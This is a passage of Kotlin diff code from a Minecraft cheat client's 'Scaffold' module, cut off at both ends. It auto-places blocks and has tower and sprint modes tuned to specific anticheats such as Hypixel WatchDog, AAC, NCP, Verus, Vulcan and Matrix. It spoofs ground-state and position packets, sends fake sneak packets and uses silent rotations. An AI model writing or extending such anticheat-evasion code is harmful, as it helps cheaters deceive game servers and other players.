(rayTraceInfo != null && BlockUtils.getBlock(rayTraceInfo.blockPos) != Blocks.air) { + val blockPos = rayTraceInfo.blockPos + val hitVec = rayTraceInfo.hitVec + val directionVec = rayTraceInfo.sideHit.directionVec + val targetPos = rayTraceInfo.blockPos.add(directionVec.x, directionVec.y, directionVec.z) + if (mc.thePlayer.entityBoundingBox.intersectsWith(Blocks.stone.getSelectedBoundingBox(mc.theWorld, targetPos))) { + sendPacket(C08PacketPlayerBlockPlacement(blockPos, rayTraceInfo.sideHit.index, mc.thePlayer.inventory.getCurrentItem(), (hitVec.xCoord - blockPos.x.toDouble()).toFloat(), (hitVec.yCoord - blockPos.y.toDouble()).toFloat(), (hitVec.zCoord - blockPos.z.toDouble()).toFloat())) + } else { + sendPacket(C08PacketPlayerBlockPlacement(mc.thePlayer.inventory.getCurrentItem())) + } + } + } + } + clickDelay = TimeUtils.randomDelay(extraClickMinDelayValue.get(), extraClickMaxDelayValue.get()) + clickTimer.reset() + } + + mc.thePlayer.isSprinting = canSprint + if (sprintValue.equals("Hypixel")) { + if (mc.thePlayer.onGround) { + mc.thePlayer.motionX *= 0.94 + mc.thePlayer.motionZ *= 0.94 + } else { + mc.thePlayer.motionX *= 0.99 + mc.thePlayer.motionZ *= 0.99 + } + } + if (sprintValue.equals("HypixelFast")) { + if (mc.thePlayer.onGround) { + mc.thePlayer.motionX *= 0.92 + mc.thePlayer.motionZ *= 0.92 + } + } + + if (mc.thePlayer.onGround) { + offGroundTicks = 0 + } else offGroundTicks++ + + shouldGoDown = downValue.get() && GameSettings.isKeyDown(mc.gameSettings.keyBindSneak) && blocksAmount > 1 + if (shouldGoDown) mc.gameSettings.keyBindSneak.pressed = false + if (mc.thePlayer.onGround) { + // Smooth Zitter + if (zitterModeValue.equals("smooth")) { + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindRight)) mc.gameSettings.keyBindRight.pressed = false + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindLeft)) mc.gameSettings.keyBindLeft.pressed = false + if (zitterTimer.hasTimePassed(100)) { + zitterDirection = !zitterDirection + zitterTimer.reset() + } + if (zitterDirection) { + mc.gameSettings.keyBindRight.pressed = true + mc.gameSettings.keyBindLeft.pressed = false + } else { + mc.gameSettings.keyBindRight.pressed = false + mc.gameSettings.keyBindLeft.pressed = true + } + } + + // Eagle + if (!eagleValue.get().equals("Off", true) && !eagleValue.get().equals("Legit", true) && !shouldGoDown) { + var dif = 0.5 + val blockPos = BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 1.0, mc.thePlayer.posZ) + if (edgeDistanceValue.get() > 0) { + for (facingType in EnumFacing.values()) { + if (facingType == EnumFacing.UP || facingType == EnumFacing.DOWN) { + continue + } + val neighbor = blockPos.offset(facingType) + if (isReplaceable(neighbor)) { + val calcDif = (if (facingType == EnumFacing.NORTH || facingType == EnumFacing.SOUTH) { + abs((neighbor.z + 0.5) - mc.thePlayer.posZ) + } else { + abs((neighbor.x + 0.5) - mc.thePlayer.posX) + }) - 0.5 + + if (calcDif < dif) { + dif = calcDif + } + } + } + } + if (placedBlocksWithoutEagle >= blocksToEagleValue.get()) { + val shouldEagle = + isReplaceable(blockPos) || (edgeDistanceValue.get() > 0 && dif < edgeDistanceValue.get()) + if (eagleValue.get().equals("Silent", true)) { + if (eagleSneaking != shouldEagle) { + mc.netHandler.addToSendQueue( + C0BPacketEntityAction( + mc.thePlayer, if (shouldEagle) { + C0BPacketEntityAction.Action.START_SNEAKING + } else { + C0BPacketEntityAction.Action.STOP_SNEAKING + } + ) + ) + } + eagleSneaking = shouldEagle + } else { + mc.gameSettings.keyBindSneak.pressed = shouldEagle + } + placedBlocksWithoutEagle = 0 + } + } + // Zitter + if (zitterModeValue.equals("teleport")) { + MovementUtils.strafe(zitterSpeedValue.get()) + val yaw = Math.toRadians(mc.thePlayer.rotationYaw + if (zitterDirection) 90.0 else -90.0) + mc.thePlayer.motionX -= sin(yaw) * zitterStrengthValue.get() + mc.thePlayer.motionZ += cos(yaw) * zitterStrengthValue.get() + zitterDirection = !zitterDirection + } + } + + if (placeModeValue.equals("All")) place() + + StrafeFix.applyForceStrafe(true, moveFixValue.get()) + + if (eagleValue.equals("Legit") && placing && mc.thePlayer.ticksExisted % eaglelegitvalue.get() == 0) { + if (eaglelegitpacketvalue.get()) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING)) + } else { + mc.gameSettings.keyBindSneak.pressed = true + } + } else { + if (eaglelegitpacketvalue.get()) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING)) + } else { + mc.gameSettings.keyBindSneak.pressed = false + } + } + +// if (eagleValue.equals("Legit") && eaglelegitpacketvalue.get() && placing && mc.thePlayer.ticksExisted % eaglelegitvalue.get() == 0) { +// C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SNEAKING) +// } else { +// C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING) +// } + + } + + @EventTarget + fun onPacket(event: PacketEvent) { + if (mc.thePlayer == null) return + val packet = event.packet + + if(towerModeValue.equals("WatchDog")){ + if (packet is C03PacketPlayer) { + if (wdSpoof) { + packet.onGround = true + wdSpoof = false + } + } + } + + if (sprintValue.equals("HypixelFast")) { + if (packet is C03PacketPlayer) { + if (mc.thePlayer.onGround && mc.thePlayer.ticksExisted % 2 == 0) { + packet.onGround = false + packet.y += 0.035 + } + } + } + + //Verus + if (packet is C03PacketPlayer) { + if (doSpoof) { + doSpoof = false + packet.onGround = true + } + } + + + if (packet is C08PacketPlayerBlockPlacement) { + // c08 item override to solve issues in scaffold and some other modules, maybe bypass some anticheat in future + packet.stack = mc.thePlayer.inventory.getCurrentItem() + // illegal facing checks + packet.facingX = packet.facingX.coerceIn(-1.0000F, 1.0000F) + packet.facingY = packet.facingY.coerceIn(-1.0000F, 1.0000F) + packet.facingZ = packet.facingZ.coerceIn(-1.0000F, 1.0000F) + } + } + + @EventTarget + fun onMotion(event: MotionEvent) { + val eventState = event.eventState + towerStatus = false + + + // Tower + if (motionSpeedEnabledValue.get()) MovementUtils.setMotion(motionSpeedValue.get().toDouble()) + if (sprintValue.equals("HypixelSkywars")) MovementUtils.strafe(0.13f) + + towerStatus = (!stopWhenBlockAboveValue.get() || BlockUtils.getBlock(BlockPos(mc.thePlayer.posX, mc.thePlayer.posY + 2, mc.thePlayer.posZ)) is BlockAir) + if (towerStatus) { + // further checks + when (towerActiveValue.get().lowercase()) { + "off" -> towerStatus = false + "always" -> { + towerStatus = (mc.gameSettings.keyBindLeft.isKeyDown || + mc.gameSettings.keyBindRight.isKeyDown || mc.gameSettings.keyBindForward.isKeyDown || + mc.gameSettings.keyBindBack.isKeyDown) + } + "pressspace" -> { + towerStatus = mc.gameSettings.keyBindJump.isKeyDown + } + "nomove" -> { + towerStatus = !(mc.gameSettings.keyBindLeft.isKeyDown || + mc.gameSettings.keyBindRight.isKeyDown || mc.gameSettings.keyBindForward.isKeyDown || + mc.gameSettings.keyBindBack.isKeyDown) && mc.gameSettings.keyBindJump.isKeyDown + } + "onlymove" -> { + towerStatus = MovementUtils.isMoving() && mc.gameSettings.keyBindJump.isKeyDown + } + } + } + if (towerStatus) move() + + if (towerModeValue.equals("WatchDog") && towerStatus && event.eventState == EventState.PRE) { + if (towerStatus) { + if (mc.thePlayer.onGround) { + wdTick = 0 + mc.thePlayer.motionY = 0.42 + mc.thePlayer.motionZ *= 1.05 + mc.thePlayer.motionX *= 1.05 + } else if (mc.thePlayer.motionY > -0.0784000015258789) { + val n = Math.round(mc.thePlayer.posY % 1.0 * 100.0).toInt() + when (n) { + 42 -> { + mc.thePlayer.motionY = 0.33 + } + + 75 -> { + mc.thePlayer.motionY = 0.25 + wdSpoof = true + } + 0 -> { + mc.thePlayer.motionY = 0.42 + wdSpoof = true + } + + } + } + } else { + wdTick = 0 + } + } + + // Lock Rotation + if (rotationsValue.get() != "None" && keepLengthValue.get()> 0 && lockRotation != null && silentRotationValue.get()) { + if (rotationsValue.equals("BackSnap")) { + val limitedRotation = RotationUtils.limitAngleChange(RotationUtils.serverRotation!!, Rotation(mc.thePlayer.rotationYaw + (if (mc.thePlayer.movementInput.moveForward < 0) 0 else 180), 80.0f), rotationSpeed) + RotationUtils.setTargetRotation(limitedRotation, 1) + } else { + val limitedRotation = RotationUtils.limitAngleChange(RotationUtils.serverRotation!!, lockRotation!!, rotationSpeed) + RotationUtils.setTargetRotation(limitedRotation, keepLengthValue.get()) + } + } + + + + if (moveFixValue.get()) { + val movefixYaw = when (rotationsValue.get().lowercase()) { + "aac" -> mc.thePlayer.rotationYaw + (if (mc.thePlayer.movementInput.moveForward < 0) 0 else 180) + aacYawValue.get() + "custom", "better" -> mc.thePlayer.rotationYaw + customYawValue.get() + "static2" -> { + if ((MovementUtils.movingYaw / 30).roundToInt() % 3 == 0) { + (MovementUtils.direction * 180f / Math.PI).toFloat() + 135 + } else { + (MovementUtils.direction * 180f / Math.PI).toFloat() + 180 + } + } + "advanced" -> { + when (advancedYawModeValue.get().lowercase()) { + "static" -> mc.thePlayer.rotationYaw + advancedYawStaticValue.get() + "movedirection" -> MovementUtils.movingYaw - 180 + "offsetmove" -> MovementUtils.movingYaw - 180 + advancedYawMoveOffsetValue.get() + else -> RotationUtils.serverRotation!!.yaw + } + } + else -> RotationUtils.serverRotation!!.yaw + } + RotationUtils.setTargetRotation(Rotation(movefixYaw, RotationUtils.serverRotation!!.pitch), 1) + } + + if ((sameYValue.equals("Telly") || sameYValue.equals("TellyUp")) && mc.thePlayer.onGround) { + RotationUtils.setTargetRotation(Rotation(MovementUtils.movingYaw, RotationUtils.serverRotation!!.pitch)) + } + + + + // Update and search for new block + if (event.eventState == EventState.PRE) update() + + // Place block + if (placeModeValue.equals(eventState.stateName)) place() + + // Reset placeable delay + if (targetPlace == null && !placeableDelayValue.equals("OFF") && (!placeDelayTower.get() || !towerStatus)) { + if (placeableDelayValue.equals("Smart")) { + if (lastPlace == 0) { + delayTimer.reset() + } + } else { + delayTimer.reset() + } + } + } + + private fun fakeJump() { + if (!towerFakeJumpValue.get()) { + return + } + + mc.thePlayer.isAirBorne = true + mc.thePlayer.triggerAchievement(StatList.jumpStat) + } + + private fun move() { + towerTimer.update() + when (towerModeValue.get().lowercase()) { + "none", "legit" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = MovementUtils.jumpMotion.toDouble() + } + } + "jump" -> { + if (mc.thePlayer.onGround && towerTimer.hasTimePassed(jumpDelayValue.get())) { + fakeJump() + mc.thePlayer.motionY = jumpMotionValue.get().toDouble() + towerTimer.reset() + } + } + "motion" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.41999998688698 + } else if (mc.thePlayer.motionY < 0.1) { + mc.thePlayer.motionY = -0.3 + } + } + "motion2" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.41999998688698 + } else if (mc.thePlayer.motionY < 0.18) { + mc.thePlayer.motionY -= 0.02 + } + } + "motion3" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.41999998688698 + } else if (mc.thePlayer.motionY < 0.01 && mc.thePlayer.motionY > -0.01) { + mc.thePlayer.motionY = -0.08 * 0.98 + } + } + "ncp" -> { + if (mc.thePlayer.posY % 1 <= 0.00153598) { + mc.thePlayer.setPosition( + mc.thePlayer.posX, + floor(mc.thePlayer.posY), + mc.thePlayer.posZ + ) + mc.thePlayer.motionY = 0.41998 + } else if (mc.thePlayer.posY % 1 < 0.1 && offGroundTicks != 0) { + mc.thePlayer.setPosition( + mc.thePlayer.posX, + floor(mc.thePlayer.posY), + mc.thePlayer.posZ + ) + } + } + "motiontp" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.41999998688698 + } else if (mc.thePlayer.motionY < 0.23) { + mc.thePlayer.setPosition(mc.thePlayer.posX, truncate(mc.thePlayer.posY), mc.thePlayer.posZ) + } + } + "motiontp2" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.41999998688698 + } else if (mc.thePlayer.motionY < 0.23) { + mc.thePlayer.setPosition(mc.thePlayer.posX, truncate(mc.thePlayer.posY), mc.thePlayer.posZ) + mc.thePlayer.onGround = true + mc.thePlayer.motionY = 0.41999998688698 + } + } + "packet" -> { + if (mc.thePlayer.onGround && towerTimer.hasTimePassed(2)) { + fakeJump() + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.42, mc.thePlayer.posZ, false)) + mc.netHandler.addToSendQueue(C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY + 0.753, mc.thePlayer.posZ, false)) + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1.0, mc.thePlayer.posZ) + towerTimer.reset() + } + } + "teleport" -> { + if (teleportNoMotionValue.get()) mc.thePlayer.motionY = 0.0 + if ((mc.thePlayer.onGround || !teleportGroundValue.get()) && towerTimer.hasTimePassed(teleportDelayValue.get())) { + fakeJump() + mc.thePlayer.setPositionAndUpdate( + mc.thePlayer.posX, + mc.thePlayer.posY + teleportHeightValue.get(), + mc.thePlayer.posZ + ) + towerTimer.reset() + } + } + "constantmotion" -> { + if (mc.thePlayer.onGround) { + fakeJump() + jumpGround = mc.thePlayer.posY + mc.thePlayer.motionY = constantMotionValue.get().toDouble() + } + if (mc.thePlayer.posY > jumpGround + constantMotionJumpGroundValue.get()) { + fakeJump() + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) + mc.thePlayer.motionY = constantMotionValue.get().toDouble() + jumpGround = mc.thePlayer.posY + } + } + "plusmotion" -> { + mc.thePlayer.motionY += plusMotionValue.get() + if (mc.thePlayer.motionY >= plusMaxMotionValue.get()) { + mc.thePlayer.motionY = plusMaxMotionValue.get().toDouble() + } + fakeJump() + } + "stablemotion" -> { + mc.thePlayer.motionY = stableMotionValue.get().toDouble() + fakeJump() + } + "aac3.3.9" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.4001 + } + mc.timer.timerSpeed = 1f + if (mc.thePlayer.motionY < 0) { + mc.thePlayer.motionY -= 0.00000945 + mc.timer.timerSpeed = 1.6f + } + } + "aac3.6.4" -> { + if (mc.thePlayer.ticksExisted % 4 == 1) { + mc.thePlayer.motionY = 0.4195464 + mc.thePlayer.setPosition(mc.thePlayer.posX - 0.035, mc.thePlayer.posY, mc.thePlayer.posZ) + } else if (mc.thePlayer.ticksExisted % 4 == 0) { + mc.thePlayer.motionY = -0.5 + mc.thePlayer.setPosition(mc.thePlayer.posX + 0.035, mc.thePlayer.posY, mc.thePlayer.posZ) + } + } + "aac4.4constant" -> { + if (mc.thePlayer.onGround) { + fakeJump() + jumpGround = mc.thePlayer.posY + mc.thePlayer.motionY = 0.41999998688698 + } + mc.thePlayer.motionX = 0.0 + mc.thePlayer.motionZ = -0.00000001 + mc.thePlayer.jumpMovementFactor = 0.000F + mc.timer.timerSpeed = 0.60f + if (mc.thePlayer.posY > jumpGround + 0.99) { + fakeJump() + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY - 0.001335979112146, mc.thePlayer.posZ) + mc.thePlayer.motionY = 0.42 + jumpGround = mc.thePlayer.posY + mc.timer.timerSpeed = 0.75f + } + } + "verus" -> { + if (!mc.thePlayer.onGround) { + mc.thePlayer.motionY = -0.0784000015258789 + mc.thePlayer.setPosition(mc.thePlayer.posX, truncate(mc.thePlayer.posY), mc.thePlayer.posZ) + } + if (mc.thePlayer.onGround) { + mc.thePlayer.motionY = -0.0784000015258789 + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY + 1, mc.thePlayer.posZ) + mc.thePlayer.onGround = true + mc.thePlayer.motionY = 0.41999998688698 + } + } + "aac4jump" -> { + mc.timer.timerSpeed = 0.97f + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.387565 + mc.timer.timerSpeed = 1.05f + } + } + "matrix6.9.2" -> { + if (mc.thePlayer.onGround) { + fakeJump() + mc.thePlayer.motionY = 0.41999998688698 + } else if (mc.thePlayer.motionY < 0.19145141919180) { + mc.thePlayer.setPosition(mc.thePlayer.posX, truncate(mc.thePlayer.posY), mc.thePlayer.posZ) + mc.thePlayer.onGround = true + mc.thePlayer.motionY = 0.481145141919180 + } + } + "watchdog" -> { + // hi + null + } + "vulcan" -> { + if (mc.thePlayer.onGround) { + fakeJump() + jumpGround = mc.thePlayer.posY + mc.thePlayer.motionY = 0.41999998688698 + } + if (mc.thePlayer.posY > jumpGround + 1.04 && MovementUtils.isMoving()) { + fakeJump() + mc.thePlayer.setPosition(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ) + mc.thePlayer.motionY = 0.45 + jumpGround = mc.thePlayer.posY + } + } + } + } + + private fun update() { + if (if (!autoBlockValue.equals("off")) InventoryUtils.findAutoBlockBlock() == -1 else mc.thePlayer.heldItem == null || + !(mc.thePlayer.heldItem.item is ItemBlock && !InventoryUtils.isBlockListBlock(mc.thePlayer.heldItem.item as ItemBlock))) { + return + } + + findBlock(expandLengthValue.get()> 1 && (!noExpandOnTowerValue.get() || !towerStatus)) + } + + /** + * Search for new target block + */ + private fun findBlock(expand: Boolean) { + val blockPosition = if (shouldGoDown) { + if (mc.thePlayer.posY == mc.thePlayer.posY.toInt() + 0.5) { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.6, mc.thePlayer.posZ) + } else { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY - 0.6, mc.thePlayer.posZ).down() + } + } else if (mc.thePlayer.posY == mc.thePlayer.posY.toInt() + 0.5 && !canSameY) { + BlockPos(mc.thePlayer) + } else if (canSameY && lastGroundY <= mc.thePlayer.posY) { + BlockPos(mc.thePlayer.posX, lastGroundY - 1.0, mc.thePlayer.posZ) + } else { + BlockPos(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ).down() + } + if (!expand && (!isReplaceable(blockPosition) || search(blockPosition, ! + shouldGoDown))) return + if (expand) { + for (i in 0 until expandLengthValue.get()) { + if (search(blockPosition.add(if (mc.thePlayer.horizontalFacing == EnumFacing.WEST) -i else if (mc.thePlayer.horizontalFacing == EnumFacing.EAST) i else 0, + 0, if (mc.thePlayer.horizontalFacing == EnumFacing.NORTH) -i else if (mc.thePlayer.horizontalFacing == EnumFacing.SOUTH) i else 0), false)) { + return + } + } + } else if (searchValue.get()) { + for (dist in 1..searchDistanceValue.get()) { + for (x in -dist..dist) { + for (z in -dist..dist) { + if (search(blockPosition.add(x, 0, z), !shouldGoDown)) { + return + } + } + } + } + } + } + + /** + * Place target block + */ + private fun place() { + if (targetPlace == null) { + if (!placeableDelayValue.equals("OFF")) { + if (lastPlace == 0 && placeableDelayValue.equals("Smart")) delayTimer.reset() + if (placeableDelayValue.equals("Normal")) delayTimer.reset() + if (lastPlace> 0) lastPlace-- + } + return + } + if (!delayTimer.hasTimePassed(delay) || !towerStatus && canSameY && lastGroundY - 1 != targetPlace!!.vec3.yCoord.toInt()) { + return + } + + placing = true + + if (!rotationsValue.equals("None")) { + val rayTraceInfo = mc.thePlayer.rayTraceWithServerSideRotation(5.0) + when (hitableCheckValue.get().lowercase()) { + "simple" -> { + if (rayTraceInfo != null && !rayTraceInfo.blockPos.equals(targetPlace!!.blockPos)) { + return + } + } + "strict" -> { + if (rayTraceInfo != null && (!rayTraceInfo.blockPos.equals(targetPlace!!.blockPos) || rayTraceInfo.sideHit != targetPlace!!.enumFacing)) { + return + } + } + } + } + + val isDynamicSprint = sprintValue.equals("dynamic") + var blockSlot = -1 + var itemStack = mc.thePlayer.heldItem + if (mc.thePlayer.heldItem == null || !(mc.thePlayer.heldItem.item is ItemBlock && !InventoryUtils.isBlockListBlock(mc.thePlayer.heldItem.item as ItemBlock))) { + if (autoBlockValue.equals("off")) return + blockSlot = InventoryUtils.findAutoBlockBlock() + if (blockSlot == -1) return + if (autoBlockValue.equals("LiteSpoof") || autoBlockValue.equals("Spoof")) { + SpoofItemUtils.startSpoof(prevItem) + } + mc.thePlayer.inventory.currentItem = blockSlot - 36 + + itemStack = mc.thePlayer.inventoryContainer.getSlot(blockSlot).stack + } + if (isDynamicSprint) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SPRINTING)) + } + if (mc.playerController.onPlayerRightClick(mc.thePlayer, mc.theWorld, itemStack, targetPlace!!.blockPos, targetPlace!!.enumFacing, targetPlace!!.vec3)) { + placedBlocksWithoutEagle++ + // delayTimer.reset() + delay = TimeUtils.randomDelay(minDelayValue.get(), maxDelayValue.get()) + if (mc.thePlayer.onGround) { + val modifier = speedModifierValue.get() + mc.thePlayer.motionX *= modifier.toDouble() + mc.thePlayer.motionZ *= modifier.toDouble() + } + + if (swingValue.equals("packet")) { + mc.netHandler.addToSendQueue(C0APacketAnimation()) + } else if (swingValue.equals("normal")) { + mc.thePlayer.swingItem() + } + lastPlace = 2 + lastPlaceBlock = targetPlace!!.blockPos.add(targetPlace!!.enumFacing.directionVec) + when (extraClickValue.get().lowercase()) { + "afterplace" -> { + // fake click + val blockPos = targetPlace!!.blockPos + val hitVec = targetPlace!!.vec3 + afterPlaceC08 = C08PacketPlayerBlockPlacement(targetPlace!!.blockPos, targetPlace!!.enumFacing.index, itemStack, (hitVec.xCoord - blockPos.x.toDouble()).toFloat(), (hitVec.yCoord - blockPos.y.toDouble()).toFloat(), (hitVec.zCoord - blockPos.z.toDouble()).toFloat()) + } + } + } + if (isDynamicSprint) { + mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.START_SPRINTING)) + } + + if (autoBlockValue.equals("LiteSpoof") && blockSlot >= 0) { + SpoofItemUtils.stopSpoof() + } + + // Reset + targetPlace = null + } + + /** + * Disable scaffold module + */ + override fun onDisable() { + // tolleyStayTick=999 + if (mc.thePlayer == null) return + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindSneak)) { + mc.gameSettings.keyBindSneak.pressed = false + if (eagleSneaking) mc.netHandler.addToSendQueue(C0BPacketEntityAction(mc.thePlayer, C0BPacketEntityAction.Action.STOP_SNEAKING)) + } + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindRight)) mc.gameSettings.keyBindRight.pressed = false + if (!GameSettings.isKeyDown(mc.gameSettings.keyBindLeft)) mc.gameSettings.keyBindLeft.pressed = false + lockRotation = null + mc.timer.timerSpeed = 1f + shouldGoDown = false + val limitedRotation = RotationUtils.limitAngleChange(RotationUtils.serverRotation!!, + Rotation(mc.thePlayer.rotationYaw, mc.thePlayer.rotationPitch), 58f) + RotationUtils.setTargetRotation(limitedRotation, 2) + SpoofItemUtils.stopSpoof() + } + + /** + * Entity movement event + * + * @param event + */ + @EventTarget + fun onMove(event: MoveEvent) { + if (safeWalkValue.equals("off") || shouldGoDown) return + if (safeWalkValue.equals("air") || mc.thePlayer.onGround) event.isSafeWalk = true + } + + private val barrier = ItemStack(Item.getItemById(166), 0, 0) + + /** + * Scaffold visuals + * + * @param event + */ + @EventTarget + fun onRender2D(event: Render2DEvent) { + progress = (System.currentTimeMillis() - lastMS).toFloat() / 100f + lastMS = System.currentTimeMillis() + if (progress >= 1) progress = 1f + + + val scaledResolution = ScaledResolution(mc) + val info = "$blocksAmount Blocks" + if (renderOptions.get()) { + when (counterDisplayValue.get().lowercase()) { + "fdp" -> { + GlStateManager.pushMatrix() + val info = LanguageManager.getAndFormat("ui.scaffold.blocks", blocksAmount) + val slot = InventoryUtils.findAutoBlockBlock() + val height = event.scaledResolution.scaledHeight + val width = event.scaledResolution.scaledWidth + val w2=(mc.fontRendererObj.getStringWidth(info)) + RenderUtils.drawRoundedCornerRect( + (width - w2 - 20) / 2f, + height * 0.8f - 24f, + (width + w2 + 18) / 2f, + height * 0.8f + 12f, + 3f, + Color(43, 45, 48).rgb + ) + mc.fontRendererObj.drawCenteredString("▼",width / 2.0f + 2f, height * 0.8f+8f,Color(43,45,48).rgb) + var stack = barrier + if (slot != -1) { + if (mc.thePlayer.inventory.getCurrentItem() != null) { + val handItem = mc.thePlayer.inventory.getCurrentItem().item + if (handItem is ItemBlock && InventoryUtils.canPlaceBlock(handItem.block)) { + stack = mc.thePlayer.inventory.getCurrentItem() + } + } + if (stack == barrier) { + stack = mc.thePlayer.inventory.getStackInSlot(InventoryUtils.findAutoBlockBlock() - 36) + if (stack == null) { + stack = barrier + } + } + } + + RenderHelper.enableGUIStandardItemLighting() + mc.renderItem.renderItemIntoGUI(stack, width / 2 - 9, (height * 0.8 - 20).toInt()) + RenderHelper.disableStandardItemLighting() + mc.fontRendererObj.drawCenteredString(info, width / 2f, height * 0.8f, Color.WHITE.rgb, false) + GlStateManager.popMatrix() + } + "rise" -> { + GlStateManager.pushMatrix() + val info = blocksAmount.toString() + val slot = InventoryUtils.findAutoBlockBlock() + val height = event.scaledResolution.scaledHeight + val width = event.scaledResolution.scaledWidth + val w2=(mc.fontRendererObj.getStringWidth(info)) + RenderUtils.drawRoundedCornerRect( + (width - w2 - 20) / 2f, + height * 0.8f - 24f, + (width + w2 + 18) / 2f, + height * 0.8f + 12f, + 5f, + Color(20, 20, 20, 100).rgb + ) + var stack = barrier + if (slot != -1) { + if (mc.thePlayer.inventory.getCurrentItem() != null) { + val handItem = mc.thePlayer.inventory.getCurrentItem().item + if (handItem is ItemBlock && InventoryUtils.canPlaceBlock(handItem.block)) { + stack = mc.thePlayer.inventory.getCurrentItem() + } + } + if (stack == barrier) { + stack = mc.thePlayer.inventory.getStackInSlot(InventoryUtils.findAutoBlockBlock() - 36) + if (stack == null) { + stack = barrier + } + } + } + + RenderHelper.enableGUIStandardItemLighting() + mc.renderItem.renderItemIntoGUI(stack, width / 2 - 9, (height * 0.8 - 20).toInt()) + RenderHelper.disableStandardItemLighting() + mc.fontRendererObj.drawCenteredString(info, width / 2f, height * 0.8f, Color.WHITE.rgb, false) + GlStateManager.popMatrix() + } + "simple" -> { + Fonts.minecraftFont.drawString( + "$blocksAmount Blocks", + scaledResolution.scaledWidth / 1.95f, + (scaledResolution.scaledHeight / 2 + 20).toFloat(), + -1, + true + ) + } + } + } + } + + /** + * Scaffold visuals + * + * @param event + */ + @EventTarget + fun onRender3D(event: Render3DEvent) { + if (!markValue.get()) return + for (i in 0 until (expandLengthValue.get() + 1)) { + val blockPos = BlockPos( + mc.thePlayer.posX + if (mc.thePlayer.horizontalFacing == EnumFacing.WEST) -i else if (mc.thePlayer.horizontalFacing == EnumFacing.EAST) i else 0, + mc.thePlayer.posY - (if (mc.thePlayer.posY == mc.thePlayer.posY.toInt() + 0.5) { 0.0 } else { 1.0 }) - (if (shouldGoDown) { 1.0 } else { 0.0 }), + mc.thePlayer.posZ + if (mc.thePlayer.horizontalFacing == EnumFacing.NORTH) -i else if (mc.thePlayer.horizontalFacing == EnumFacing.SOUTH) i else 0 + ) + val placeInfo = get(blockPos) + if (isReplaceable(blockPos) && placeInfo != null) { + RenderUtils.drawBlockBox(blockPos, Color(markRedValue.get(), markGreenValue.get(), markBlueValue.get(), 100), false, true, 1f) + break + } + } + } + + /** + * Search for placeable block + * + * @param blockPosition pos + * @param checks visible + * @return + */ + private fun search(blockPosition: BlockPos, checks: Boolean): Boolean { + val hypixelBlockPos: BlockPos = ( + if (sameYValue.equals("Hypixel")) BlockPos( + blockPosition.x, + blockPosition.y + 1, + blockPosition.z + ) else blockPosition + ) + if (!isReplaceable(hypixelBlockPos)) return false + val eyesPos = Vec3( + mc.thePlayer.posX, + mc.thePlayer.entityBoundingBox.minY + mc.thePlayer.getEyeHeight(), + mc.thePlayer.posZ + ) + var placeRotation: PlaceRotation? = null + if (testRotationsValue.get()) { + RotationUtils.setTargetRotation( + Rotation(MovementUtils.movingYaw - 180, 81f),1 + ) + } + for (side in StaticStorage.facings()) { + val neighbor = hypixelBlockPos.offset(side) + if (!BlockUtils.canBeClicked(neighbor)) continue + val dirVec = Vec3(side.directionVec) + var xSearch = 0.1 + while (xSearch < 0.9) { + var ySearch = 0.1 + while (ySearch < 0.9) { + var zSearch = 0.1 + while (zSearch < 0.9) { + val posVec = Vec3(hypixelBlockPos).addVector(xSearch, ySearch, zSearch) + val distanceSqPosVec = eyesPos.squareDistanceTo(posVec) + val hitVec = posVec.add(Vec3(dirVec.xCoord * 0.5, dirVec.yCoord * 0.5, dirVec.zCoord * 0.5)) + if (checks && (eyesPos.squareDistanceTo(hitVec) > 18.0 || distanceSqPosVec > eyesPos.squareDistanceTo( + posVec.add(dirVec) + ) || mc.theWorld.rayTraceBlocks(eyesPos, hitVec, false, true, false) != null) + ) { + zSearch += 0.1 + continue + } + + // face block + val diffX = hitVec.xCoord - eyesPos.xCoord + val diffY = hitVec.yCoord - eyesPos.yCoord + val diffZ = hitVec.zCoord - eyesPos.zCoord + val diffXZ = MathHelper.sqrt_double(diffX * diffX + diffZ * diffZ).toDouble() + val rotation = Rotation( + MathHelper.wrapAngleTo180_float(Math.toDegrees(atan2(diffZ, diffX)).toFloat() - 90f), + MathHelper.wrapAngleTo180_float((-Math.toDegrees(atan2(diffY, diffXZ))).toFloat()) + ) + val rotationVector = RotationUtils.getVectorForRotation(rotation) + val vector = eyesPos.addVector( + rotationVector.xCoord * 4, + rotationVector.yCoord * 4, + rotationVector.zCoord * 4 + ) + val obj = mc.theWorld.rayTraceBlocks(eyesPos, vector, false, false, 